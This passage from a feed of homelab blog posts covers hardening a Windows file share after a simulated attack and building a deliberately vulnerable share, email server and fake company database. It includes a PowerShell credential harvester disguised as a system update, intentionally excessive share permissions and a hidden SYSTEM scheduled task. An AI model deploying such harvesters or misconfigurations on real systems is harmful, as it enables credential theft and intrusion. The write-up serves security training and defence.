&quot;C:\Shares\Public\malicious_script.ps1&quot; -Force<br><br># Verify cleanup<br>Get-ChildItem &quot;C:\Shares\Public&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F6nGgfknMXTs8QJCaTmfzQ.png" /><figcaption>Files have been removed.</figcaption></figure><h3>Defense in Depth</h3><p>So, we cleaned up. But how do we prevent it from happening again?</p><p><strong>Limit SMB Share Access</strong></p><pre># Current state: Domain Users have Full Control<br># Target state: Domain Users have Read-Only, specific groups have Write<br><br># Remove excessive permissions<br>Revoke-SmbShareAccess -Name &quot;Public&quot; -AccountName &quot;CJCS\Domain Users&quot; -Force<br><br># Grant Read-Only to Domain Users<br>Grant-SmbShareAccess -Name &quot;Public&quot; -AccountName &quot;CJCS\Domain Users&quot; -AccessRight Read -Force<br><br># Create specific group for write access (if needed)<br>New-ADGroup -Name &quot;Public Share Contributors&quot; -GroupScope Global -GroupCategory Security -Description &quot;Users who can write to Public share&quot;<br><br># Grant write access only to this group<br>Grant-SmbShareAccess -Name &quot;Public&quot; -AccountName &quot;CJCS\Public Share Contributors&quot; -AccessRight Change -Force<br><br># Verify new permissions<br>Get-SmbShareAccess -Name &quot;Public&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*fJdYYS5LQJjJJ0gsob1yQw.png" /><figcaption>Revoke current access, create the specific group.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1022/1*pJ8scKpMliCSmcyhBsh_0g.png" /><figcaption>Grant access and verify.</figcaption></figure><p><strong>Fix NTFS Permissions</strong></p><pre># Get current ACL<br>$acl = Get-Acl &quot;C:\Shares\Public&quot;<br><br># Remove &quot;Everyone&quot; if it exists<br>$everyone = $acl.Access | Where-Object {$_.IdentityReference -eq &quot;Everyone&quot;}<br>if ($everyone) {<br>    $acl.RemoveAccessRule($everyone)<br>}<br><br># Set Read-Only for Domain Users at NTFS level<br>$readRule = New-Object System.Security.AccessControl.FileSystemAccessRule(&quot;CJCS\Domain Users&quot;, &quot;ReadAndExecute&quot;, &quot;ContainerInherit,ObjectInherit&quot;, &quot;None&quot;, &quot;Allow&quot;)<br>$acl.SetAccessRule($readRule)<br><br># Domain Admins get Full Control<br>$adminRule = New-Object System.Security.AccessControl.FileSystemAccessRule(&quot;CJCS\Domain Admins&quot;, &quot;FullControl&quot;, &quot;ContainerInherit,ObjectInherit&quot;, &quot;None&quot;, &quot;Allow&quot;)<br>$acl.SetAccessRule($adminRule)<br><br># SYSTEM gets Full Control<br>$systemRule = New-Object System.Security.AccessControl.FileSystemAccessRule(&quot;NT AUTHORITY\SYSTEM&quot;, &quot;FullControl&quot;, &quot;ContainerInherit,ObjectInherit&quot;, &quot;None&quot;, &quot;Allow&quot;)<br>$acl.SetAccessRule($systemRule)<br><br># Apply the new ACL<br>Set-Acl &quot;C:\Shares\Public&quot; -AclObject $acl<br><br># Verify<br>Get-Acl &quot;C:\Shares\Public&quot; | Select-Object -ExpandProperty Access | Format-Table IdentityReference, FileSystemRights, AccessControlType</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K1T8RkTR7vBQofRtYQOtZA.png" /><figcaption>ACL permissions corrected.</figcaption></figure><p><strong>Reset Compromised Password</strong></p><pre>Set-ADAccountPassword -Identity &quot;svc-generic&quot; -Reset -NewPassword (ConvertTo-SecureString &quot;NewSecureP@ss2026!&quot; -AsPlainText -Force)<br><br>Enable-ADAccount -Identity &quot;svc-generic&quot;<br><br># Verify<br>Get-ADUser &quot;svc-generic&quot; | Select-Object Enabled, PasswordLastSet</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1023/1*OXOPwhiIQPWPoR6hSGftkQ.png" /><figcaption>Password changed, account reactivated.</figcaption></figure><h3>Prevention</h3><pre># Require SMB signing on server side<br>Set-SmbServerConfiguration -RequireSecuritySignature $true -EnableSecuritySignature $true -Force<br><br># Verify<br>Get-SmbServerConfiguration | Select-Object RequireSecuritySignature, EnableSecuritySignature<br><br># Enable detailed file share auditing<br>auditpol /set /subcategory:&quot;File Share&quot; /success:enable /failure:enable<br>auditpol /set /subcategory:&quot;Detailed File Share&quot; /success:enable /failure:enable<br><br># Enable file system auditing<br>auditpol /set /subcategory:&quot;File System&quot; /success:enable /failure:enable<br><br># Verify<br>auditpol /get /subcategory:&quot;File Share&quot;<br>auditpol /get /subcategory:&quot;Detailed File Share&quot;<br><br># Add audit rule to track all access to Public share<br>$auditRule = New-Object System.Security.AccessControl.FileSystemAuditRule(<br>    &quot;Everyone&quot;,<br>    &quot;ReadData,WriteData,Delete&quot;,<br>    &quot;ContainerInherit,ObjectInherit&quot;,<br>    &quot;None&quot;,<br>    &quot;Success,Failure&quot;<br>)<br><br>$acl = Get-Acl &quot;C:\Shares\Public&quot;<br>$acl.AddAuditRule($auditRule)<br>Set-Acl &quot;C:\Shares\Public&quot; -AclObject $acl<br><br># Verify audit rules<br>Get-Acl &quot;C:\Shares\Public&quot; -Audit | Select-Object -ExpandProperty Audit<br><br># Users can only see folders they have permission to access<br>Set-SmbShare -Name &quot;Public&quot; -FolderEnumerationMode AccessBased -Force<br><br># Verify<br>Get-SmbShare -Name &quot;Public&quot; | Select-Object FolderEnumerationMode</pre><p><strong>What Does This Script Do?</strong></p><p>The server will refuse connections from clients that don’t sign their SMB packets. When enabled, tools like Responder or ntlmrelayx can&#39;t intercept and relay SMB authentication because the cryptographic signatures won&#39;t match.</p><p>Event audit logging tells Windows to create Event ID 5140 logs whenever someone accesses a file share. Instead of just logging “someone connected to the share,” it logs <strong>every single file they touch</strong>.</p><p>Creates an audit rule object that will be applied to the Public share folder. This configuration says “log every time anyone reads, writes, or deletes files in this folder or its subfolders, whether they succeed or fail.”</p><p><strong>The Splunk Query for Suspicious Share Access</strong></p><pre>index=* source=&quot;XmlWinEventLog:Security&quot; EventCode=5145 <br>ShareName=&quot;\\*\Public&quot;<br>| where IpAddress!=&quot;192.168.56.6&quot; AND IpAddress!=&quot;192.168.56.7&quot; AND IpAddress!=&quot;192.168.56.8&quot; AND NOT match(IpAddress, &quot;^fe80&quot;)<br>| stats count by _time, IpAddress, SubjectUserName, RelativeTargetName<br>| where count &gt; 5<br>| eval Alert=&quot;Suspicious file share access pattern detected&quot;</pre><p><strong>Alert Settings:</strong></p><ul><li>Trigger: When count &gt; 5 in 10-minute window</li><li>Action: Email SOC team</li><li>Severity: Medium</li></ul><p>Has it been fixed? Let’s try to access the share from KALI and see what happens.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2OeqoR6cKsfKD8quIAB-3w.png" /><figcaption>NT_STATUS_LOGON_FAILURE</figcaption></figure><p>We successfully kicked out KALI from the DC01 Public network share. Something tells me this is not the last we will hear from the attacker. Stay tuned!</p><p><strong>Follow me:</strong></p><p><a href="https://johnnymeintel.com/">My Website</a></p><p><a href="https://www.linkedin.com/in/johnny-meintel-3a9280269/">LinkedIn</a></p><p><a href="https://x.com/548074G3">X</a></p><p><a href="https://github.com/johnnymeintel/johnnycybersec">GitHub</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ff61b8d4cb7b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Creating a Vulnerable Windows Network Share]]></title>
            <link>https://medium.com/@johnnymeintel/creating-a-vulnerable-windows-network-share-fd43ec5bf8f4?source=rss-88ad9882608d------2</link>
            <guid isPermaLink="false">https://medium.com/p/fd43ec5bf8f4</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[homelab]]></category>
            <category><![CDATA[windows]]></category>
            <dc:creator><![CDATA[Johnny Meintel]]></dc:creator>
            <pubDate>Fri, 09 Jan 2026 19:01:39 GMT</pubDate>
            <atom:updated>2026-01-09T19:01:39.806Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jAOgpXxRhigTM6t11K083A.png" /><figcaption>johnnymeintel.com</figcaption></figure><p>Think of it like creating a shared Google Drive folder, but instead of internet-based access, it uses your local network.</p><h3>Creating the Network Share</h3><p>I run these commands on my Windows Server 2022 Domain Controller — DC01:</p><pre># Create root directory for file shares<br>New-Item &quot;C:\Shares&quot; -ItemType Directory -Force<br><br># Create departmental subdirectories<br>New-Item &quot;C:\Shares\Executive&quot; -ItemType Directory -Force<br>New-Item &quot;C:\Shares\IT&quot; -ItemType Directory -Force<br>New-Item &quot;C:\Shares\Finance&quot; -ItemType Directory -Force<br>New-Item &quot;C:\Shares\Public&quot; -ItemType Directory -Force<br><br># Create Executive share with Read access for all Domain Users<br>New-SmbShare -Name &quot;Executive&quot; -Path &quot;C:\Shares\Executive&quot; -FullAccess &quot;CJCS\Domain Admins&quot; -ReadAccess &quot;CJCS\Domain Users&quot;<br><br># Create IT share with Change access for IT Support<br>New-SmbShare -Name &quot;IT&quot; -Path &quot;C:\Shares\IT&quot; -FullAccess &quot;CJCS\Domain Admins&quot; -ChangeAccess &quot;CJCS\IT Support&quot;<br><br># Create Finance share with Read access for Finance group<br>New-SmbShare -Name &quot;Finance&quot; -Path &quot;C:\Shares\Finance&quot; -FullAccess &quot;CJCS\Domain Admins&quot; -ReadAccess &quot;CJCS\Finance&quot;<br><br># Create Public share with Full Control for all Domain Users (High Risk)<br>New-SmbShare -Name &quot;Public&quot; -Path &quot;C:\Shares\Public&quot; -FullAccess &quot;CJCS\Domain Users&quot;<br><br># Verify share creation and specific path mappings<br>Get-SmbShare | Where-Object {$_.Path -like &quot;C:\Shares\*&quot;} | Format-Table Name, Path, Description -AutoSize</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*BqZo8NAbVAfnCZyRtZJDpQ.png" /><figcaption>Network shares created successfully.</figcaption></figure><p>The first step is to make sure another computer on the network can see these shares. I head over to my over domain-joined Windows 11 VM — MGR1 — and run these commands:</p><pre># Map the Public share to drive P:<br>net use P: \\DC01\Public<br><br># Create a test file<br>echo &quot;Test from MGR1&quot; &gt; P:\test-file.txt<br><br># Verify the file exists<br>dir P:\<br><br># Read the file<br>type P:\test-file.txt<br><br># Clean up<br>del P:\test-file.txt<br>net use P: /delete</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tqskz3Tbi0o7aT4aE0pO0A.png" /><figcaption>The file was created and visible over the network.</figcaption></figure><p>Success. Network shares have been created and are in use.</p><p>The main vulnerability introduced here is that the Public share has full control (not just read-only) for all Domain Users. In addition to that, the service accounts have Domain Admin privileges, in additions to weak passwords that could easily be brute forced.</p><p>MGR1 is meant to view these network shares. What happens when an attacker gains stolen credentials, to a service account for example, and can access the network shares?</p><h3>Accessing from Kali</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*zAk5k7R9sCZ-xMikSYPgaA.png" /><figcaption>Generic service account, visible network shares.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*7uVUIU_bVDTa3idaL72HgA.png" /><figcaption>crackmapexec using stolen credentials to view network shares.</figcaption></figure><p>Excessive privileges + weak passwords. This makes for easy access using <a href="https://www.kali.org/tools/crackmapexec/"><strong>crackmapexec</strong></a>. The network shares have been enumerated.</p><p>Let’s start small and create a file on DC01 and download it from KALI using <a href="https://www.samba.org/samba/docs/current/man-html/smbclient.1.html"><strong>smb-client</strong></a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*MRUC7ng1bW5XQlpJ3f14UA.png" /><figcaption>Creating a file on DC01.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*o5l5Kg_7vDpfQyumcEIBSA.png" /><figcaption>Downloading it from KALI via smbclient.</figcaption></figure><h3>Malicious Script</h3><p>Download successful. How about an upload? But now just any upload. Let’s create a “malicious script” — all it does it open a username and password box and records the entry to a text file on the shared drive:</p><pre>cat &gt; malicious_script.ps1 &lt;&lt; &#39;EOF&#39;<br># Fake &quot;system update&quot; script<br># Actually: credential harvester or reverse shell<br><br>$cred = Get-Credential<br>$cred.GetNetworkCredential().Password | Out-File &quot;\\DC01\Public\harvested_creds.txt&quot; -Append<br>EOF</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*8mswusFx10hn_2vbOVxJ7A.png" /><figcaption>Script uploaded to network share.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*SHEvRSg7QpzwW6Cg-LREhw.png" /><figcaption>Script running on DC01 asking for credentials.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*zoRyVBhZqNuKM6-qrOWKRg.png" /><figcaption>Credentials harvested and downloaded to KALI.</figcaption></figure><p>The username and password were successfully stored and then downloaded from the shared drive on KALI. Now on to <a href="https://www.kali.org/tools/evil-winrm/"><strong>Evil-WinRM</strong></a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k8nJo2yge2Gw2d9F9__Q1g.png" /><figcaption>Shell access to the network share via service account credentials using Evil-WinRM.</figcaption></figure><p>Remote shell established! This would allow an attacker to run scripts stored on the service account’s directory.</p><p>These tools are not competitors; they are steps in a sequence.</p><ol><li><strong>Scan with CrackMapExec:</strong> “Do these credentials work? Am I an Admin (Pwn3d!)?&quot;</li><li><strong>Explore with smbclient:</strong> “Let me see if there are any interesting files (passwords.txt) on the shares.”</li><li><strong>Execute with Evil-WinRM:</strong> “I am an Admin. I’m going in to take control.”</li></ol><h3>Scheduled Task Creation</h3><p>What’s next? This homelab is meant to simulate an enterprise network. I will now populate the network shares with “sensitive data” for KALI to exfiltrate on a consistent schedule.</p><pre>$targetFile = &quot;C:\Shares\Public\sensitive_data.txt&quot;<br># ============================================<br><br>$timestamp = Get-Date -Format &quot;yyyy-MM-dd HH:mm:ss&quot;<br><br>$dataTypes = @(<br>    &quot;[EMPLOYEE_RECORD] EmployeeID: $(Get-Random -Minimum 1000 -Maximum 9999), SSN: $(Get-Random -Minimum 100000000 -Maximum 999999999), Salary: `$$(Get-Random -Minimum 45000 -Maximum 150000)&quot;<br>    &quot;[CREDENTIALS] Service: SQL-PROD-01, Username: sa, Password: $((-join ((65..90) + (97..122) | Get-Random -Count 12 | ForEach-Object {[char]$_})))!&quot;<br>    &quot;[FINANCIAL] Transaction: $(Get-Random -Minimum 10000 -Maximum 99999), Amount: `$$(Get-Random -Minimum 1000 -Maximum 50000), Account: $(Get-Random -Minimum 1000000 -Maximum 9999999)&quot;<br>    &quot;[API_KEY] Service: AWS-PROD, Key: AKIA$((-join ((65..90) + (48..57) | Get-Random -Count 16 | ForEach-Object {[char]$_})))&quot;<br>    &quot;[VPN_CONFIG] Gateway: vpn.cjcs.local, PSK: $((-join ((65..90) + (97..122) + (48..57) | Get-Random -Count 20 | ForEach-Object {[char]$_})))&quot;<br>)<br><br>$selectedData = Get-Random -InputObject $dataTypes<br>$logEntry = &quot;[$timestamp] $selectedData&quot;<br><br>Add-Content -Path $targetFile -Value $logEntry -Force<br><br>$content = Get-Content $targetFile -Tail 100<br>$content | Set-Content $targetFile -Force</pre><p>Everytime this script runs, it generates a random piece of “sensitive data” and appends it to “sensitive_data.txt” which is stored on our newly created shared drive. Let’s make it so this script executes every 5 minutes.</p><pre>$ScriptPath = &quot;C:\Scripts\DC01-Generate-Sensitive-Data.ps1&quot;<br>$TaskName = &quot;SystemDataSync&quot;<br>$Description = &quot;Routine data synchronization service&quot;<br>$User = &quot;NT AUTHORITY\SYSTEM&quot;<br><br>$Action = New-ScheduledTaskAction -Execute &quot;powershell.exe&quot; -Argument &quot;-WindowStyle Hidden -NonInteractive -ExecutionPolicy Bypass -File `&quot;$ScriptPath`&quot;&quot;<br>$Trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 5)<br>$Task = Register-ScheduledTask -Action $Action -Trigger $Trigger -TaskName $TaskName -Description $Description -User $User -RunLevel Highest -Force<br><br>$Task</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1021/1*6d3OGand7GStZIf1SyTsmg.png" /><figcaption>Task ran successfully.</figcaption></figure><p>Now we’ve given a reason for KALI to establish persistence.</p><p><strong>Follow me:</strong></p><p><a href="https://johnnymeintel.com/">My Website</a></p><p><a href="https://www.linkedin.com/in/johnny-meintel-3a9280269/">LinkedIn</a></p><p><a href="https://x.com/548074G3">X</a></p><p><a href="https://github.com/johnnymeintel/johnnycybersec">GitHub</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fd43ec5bf8f4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Installing My Own Email Server Using hMailServer to Practice Phishing and Email Security]]></title>
            <link>https://medium.com/@johnnymeintel/installing-my-own-email-server-using-hmailserver-to-practice-phishing-and-email-security-ba6c6f178d33?source=rss-88ad9882608d------2</link>
            <guid isPermaLink="false">https://medium.com/p/ba6c6f178d33</guid>
            <category><![CDATA[homelab]]></category>
            <category><![CDATA[email-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Johnny Meintel]]></dc:creator>
            <pubDate>Thu, 25 Dec 2025 02:46:52 GMT</pubDate>
            <atom:updated>2025-12-25T02:46:52.711Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F5jaEQNv5f5K03P2SmiywA.png" /><figcaption>johnnymeintel.com</figcaption></figure><p>The next component of my <a href="https://medium.com/@johnnymeintel/cybersecurity-homelab-setup-using-a-single-desktop-d55399b8b1dd"><strong>homelab setup</strong></a> is installing the email server on my domain controller — <a href="https://medium.com/@johnnymeintel/windows-server-2022-domain-controller-assessment-hostname-dc01-5a4d537f0b05"><strong>DC01</strong></a>. I just <a href="https://medium.com/@johnnymeintel/building-a-fake-company-database-and-employee-login-portal-to-practice-data-exfiltration-59c0421218f9"><strong>finished creating</strong></a> the fake company database and employee login portal.</p><h3>Initial Setup</h3><ul><li>Download <a href="https://www.hmailserver.com/download"><strong>hMailServer</strong></a></li><li>Login as Administrator</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/934/1*W-OFxkKlPrEIaMhpmi_LPQ.png" /><figcaption>First login to hMailServer on DC01.</figcaption></figure><p><strong>Add DNS Records</strong></p><p>No one wants to be <em>username@192.168.1.1</em> — I will need to create DNS records to resolve the IP address to the local hostname of cjcs.local.</p><pre># Add MX record for mail.cjcs.local<br>Add-DnsServerResourceRecordMX -Name &quot;@&quot; -ZoneName &quot;cjcs.local&quot; `<br>    -MailExchange &quot;mail.cjcs.local&quot; -Preference 10<br><br># Add A record for mail server<br>Add-DnsServerResourceRecordA -Name &quot;mail&quot; -ZoneName &quot;cjcs.local&quot; `<br>    -IPv4Address &quot;192.168.x.x&quot;<br><br># Verify<br>nslookup mail.cjcs.local</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/536/1*usZa43rXjkZpoEnKQaIiRg.png" /><figcaption>DNS records created on DC01.</figcaption></figure><p>DC01 knows it has a mail server, let’s check on MGR1:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/864/1*mU29p9uszkUiU-oeXwBnGw.png" /><figcaption>MGR1 can see the correct port is open and can resolve the DNS record.</figcaption></figure><p><strong>Create The Accounts In hMailServer</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*_kfE9d8n22OccEAAhqkf8w.png" /><figcaption>Accounts created in hMailServer Admin on DC01.</figcaption></figure><ul><li><strong>admin@cjcs.local</strong> — Server privileges</li><li><strong>marcus.chen@cjcs.local</strong> — User privileges</li><li><strong>support@cjcs.local</strong> — Domain privileges</li></ul><p>I doubt I will delve too deeply into hMailServer administration, but I wanted to create account with varying privileges in case in came in handy down the line.</p><h3>Logging In For the First Time</h3><ul><li>Download <a href="https://www.thunderbird.net/"><strong>Mozilla Thunderbird</strong></a></li><li><em>Use the following settings:</em></li><li><strong>Incoming</strong>: IMAP (port 143)</li><li><strong>Server</strong>: mail.cjcs.local</li><li><strong>Security</strong>: None</li><li><strong>Outgoing</strong>: SMTP (port 25)</li><li><strong>Server</strong>: mail.cjcs.local</li><li><strong>Security</strong>: None</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3yfSHTinCJGCLy5Kd0IBVw.png" /><figcaption>Account created in Mozilla Thunderbird on MGR1.</figcaption></figure><p>Port connection successful, DNS resolved, account created.</p><p><strong>Sending The First Email</strong></p><p>Let’s take the basic functionality by sending an email to myself using the marcus.chen account and verify with from the hMailServer logs.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qie1FMlenQ2VM2HR3jkBzg.png" /><figcaption>Email sent, received, verified with logs.</figcaption></figure><p>Success! I spun up my own email server and sent myself an email.</p><p><strong>From KALI with swaks</strong></p><p>Let’s try sending an email via command line from KALI.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/566/1*FZpkx1VnoeIyNpdwhcpjnA.png" /><figcaption>Sending an email from the command line with “stolen credentials”.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/414/1*MpL7IlHYGtI0yRAtZFOB1Q.png" /><figcaption>The email was received.</figcaption></figure><p>Let’s say an attacker gains credentials to an IT Support email account — this is exactly how they might phish an executive.</p><h3>Next Steps</h3><p>The company database and employee login portal is up. The email server is online. I successfully sent an email from the command line using compromised credentials. The next step is to follow the full attack chain from network reconnaissance, to credential harvesting, to lateral movement and full domain compromise. KALI will send an email to MGR1 with a cloned login portal which causes them to type in their password to “the employee login portal”. This will allow KALI to exfiltrate the company database and pivot to the domain controller for persistence.</p><p><strong>Follow me:</strong></p><p><a href="https://johnnymeintel.com/">My Website</a></p><p><a href="https://www.linkedin.com/in/johnny-meintel-3a9280269/">LinkedIn</a></p><p><a href="https://x.com/548074G3">X</a></p><p><a href="https://github.com/johnnymeintel/johnnycybersec">GitHub</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ba6c6f178d33" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Building A Fake Company Database And Employee Login Portal to Practice Data Exfiltration]]></title>
            <link>https://medium.com/@johnnymeintel/building-a-fake-company-database-and-employee-login-portal-to-practice-data-exfiltration-59c0421218f9?source=rss-88ad9882608d------2</link>
            <guid isPermaLink="false">https://medium.com/p/59c0421218f9</guid>
            <category><![CDATA[ii]]></category>
            <category><![CDATA[homelab]]></category>
            <category><![CDATA[php]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Johnny Meintel]]></dc:creator>
            <pubDate>Wed, 24 Dec 2025 20:13:45 GMT</pubDate>
            <atom:updated>2025-12-24T20:13:45.934Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O9mtiC8YotIB1yJ4rjdlpA.png" /></figure><p>I’ve finished <a href="https://medium.com/@johnnymeintel/list/vulnerable-infrastructure-251fa541c5ba"><strong>Phase 1</strong></a> and <a href="https://medium.com/@johnnymeintel/list/siem-implementation-4063a0712be3"><strong>Phase 2</strong></a><strong> </strong>of my <a href="https://medium.com/@johnnymeintel/cybersecurity-homelab-setup-using-a-single-desktop-d55399b8b1dd"><strong>homelab setup</strong></a>. Before I can attack the environment and document the incident response, I need to build the intranet landing page and “employee database” to exfiltrate. The goal is for MGR1 to be breached from KALI — and to then pivot to the application web server and database to steal all the “company data”.</p><p>I’ve got MySQL and IIS installed on a Windows Server 2022 VM — <a href="https://medium.com/@johnnymeintel/windows-server-2022-web-server-db-assessment-hostname-app01-139b9980c17a"><strong>APP01</strong></a>. Let’s head to the command line and get started.</p><h3>Database — Employee Directory Table</h3><p>The first step is to create the directory table in the MySQL database.</p><pre>-- Employee Directory Table<br>CREATE DATABASE cjcs_corporate;<br>USE cjcs_corporate;<br><br>CREATE TABLE employees (<br>    employee_id INT PRIMARY KEY AUTO_INCREMENT,<br>    first_name VARCHAR(50),<br>    last_name VARCHAR(50),<br>    email VARCHAR(100),<br>    department VARCHAR(50),<br>    job_title VARCHAR(100),<br>    hire_date DATE,<br>    salary INT,<br>    ssn_last_four CHAR(4),<br>    phone VARCHAR(15),<br>    address VARCHAR(200)<br>);<br><br>-- Customer Records Table<br>CREATE TABLE customers (<br>    customer_id INT PRIMARY KEY AUTO_INCREMENT,<br>    company_name VARCHAR(100),<br>    contact_name VARCHAR(100),<br>    email VARCHAR(100),<br>    phone VARCHAR(15),<br>    credit_card_last_four CHAR(4),<br>    account_value DECIMAL(10,2),<br>    created_date DATE<br>);<br><br>-- Invoice/Payment Records<br>CREATE TABLE invoices (<br>    invoice_id INT PRIMARY KEY AUTO_INCREMENT,<br>    customer_id INT,<br>    invoice_date DATE,<br>    amount DECIMAL(10,2),<br>    payment_status VARCHAR(20),<br>    payment_method VARCHAR(50),<br>    FOREIGN KEY (customer_id) REFERENCES customers(customer_id)<br>);</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/1*o-y1rnijHR7ntB6uSMC0uA.png" /><figcaption>Tables have been created</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1022/1*hPrJustODkIkCwJaANccpw.png" /><figcaption>Tables are pre-positioned for mock data</figcaption></figure><h3>Mock Company Data</h3><p>Now that we have our directory, let’s generate some mock data. This script will create .sql files we can directly import into MySQL.</p><pre>from faker import Faker<br>import random<br><br>fake = Faker()<br><br># Generate INSERT statements for employees<br>departments = [&#39;Engineering&#39;, &#39;Sales&#39;, &#39;Marketing&#39;, &#39;Finance&#39;, &#39;HR&#39;, &#39;IT&#39;, &#39;Operations&#39;]<br><br>with open(&#39;employees_insert.sql&#39;, &#39;w&#39;, encoding=&#39;utf-8&#39;) as f:<br>    f.write(&quot;USE cjcs_corporate;\n\n&quot;)<br>    <br>    for i in range(100):<br>        first_name = fake.first_name().replace(&quot;&#39;&quot;, &quot;&#39;&#39;&quot;)<br>        last_name = fake.last_name().replace(&quot;&#39;&quot;, &quot;&#39;&#39;&quot;)<br>        email = fake.email()<br>        department = random.choice(departments)<br>        job_title = fake.job().replace(&quot;&#39;&quot;, &quot;&#39;&#39;&quot;)<br>        hire_date = fake.date_between(start_date=&#39;-10y&#39;, end_date=&#39;today&#39;).strftime(&#39;%Y-%m-%d&#39;)<br>        salary = random.randint(45000, 150000)<br>        ssn = f&quot;{random.randint(0, 9999):04d}&quot;<br>        phone = fake.phone_number().replace(&quot;&#39;&quot;, &quot;&quot;)[:15]<br>        address = (fake.street_address() + &#39; &#39; + fake.city() + &#39; &#39; + fake.state_abbr() + &#39; &#39; + fake.zipcode()).replace(&quot;&#39;&quot;, &quot;&#39;&#39;&quot;)[:200]<br>        <br>        sql = f&quot;INSERT INTO employees (first_name, last_name, email, department, job_title, hire_date, salary, ssn_last_four, phone, address) VALUES (&#39;{first_name}&#39;, &#39;{last_name}&#39;, &#39;{email}&#39;, &#39;{department}&#39;, &#39;{job_title}&#39;, &#39;{hire_date}&#39;, {salary}, &#39;{ssn}&#39;, &#39;{phone}&#39;, &#39;{address}&#39;);\n&quot;<br>        f.write(sql)<br><br>print(&quot;[+] Generated employees_insert.sql&quot;)<br><br># Generate INSERT statements for customers<br>with open(&#39;customers_insert.sql&#39;, &#39;w&#39;, encoding=&#39;utf-8&#39;) as f:<br>    f.write(&quot;USE cjcs_corporate;\n\n&quot;)<br>    <br>    for i in range(200):<br>        company = fake.company().replace(&quot;&#39;&quot;, &quot;&#39;&#39;&quot;)<br>        contact = fake.name().replace(&quot;&#39;&quot;, &quot;&#39;&#39;&quot;)<br>        email = fake.email()<br>        phone = fake.phone_number().replace(&quot;&#39;&quot;, &quot;&quot;)[:15]<br>        cc = f&quot;{random.randint(0, 9999):04d}&quot;<br>        value = round(random.uniform(1000, 500000), 2)<br>        created = fake.date_between(start_date=&#39;-5y&#39;, end_date=&#39;today&#39;).strftime(&#39;%Y-%m-%d&#39;)<br>        <br>        sql = f&quot;INSERT INTO customers (company_name, contact_name, email, phone, credit_card_last_four, account_value, created_date) VALUES (&#39;{company}&#39;, &#39;{contact}&#39;, &#39;{email}&#39;, &#39;{phone}&#39;, &#39;{cc}&#39;, {value}, &#39;{created}&#39;);\n&quot;<br>        f.write(sql)<br><br>print(&quot;[+] Generated customers_insert.sql&quot;)<br><br># Generate INSERT statements for invoices<br>payment_statuses = [&#39;Paid&#39;, &#39;Pending&#39;, &#39;Overdue&#39;, &#39;Cancelled&#39;]<br>payment_methods = [&#39;Credit Card&#39;, &#39;Wire Transfer&#39;, &#39;Check&#39;, &#39;ACH&#39;]<br><br>with open(&#39;invoices_insert.sql&#39;, &#39;w&#39;, encoding=&#39;utf-8&#39;) as f:<br>    f.write(&quot;USE cjcs_corporate;\n\n&quot;)<br>    <br>    for i in range(300):<br>        customer_id = random.randint(1, 200)<br>        invoice_date = fake.date_between(start_date=&#39;-2y&#39;, end_date=&#39;today&#39;).strftime(&#39;%Y-%m-%d&#39;)<br>        amount = round(random.uniform(100, 50000), 2)<br>        status = random.choice(payment_statuses)<br>        method = random.choice(payment_methods)<br>        <br>        sql = f&quot;INSERT INTO invoices (customer_id, invoice_date, amount, payment_status, payment_method) VALUES ({customer_id}, &#39;{invoice_date}&#39;, {amount}, &#39;{status}&#39;, &#39;{method}&#39;);\n&quot;<br>        f.write(sql)<br><br>print(&quot;[+] Generated invoices_insert.sql&quot;)<br>print(&quot;\n[✓] All SQL files generated&quot;)<br>print(&quot;    - 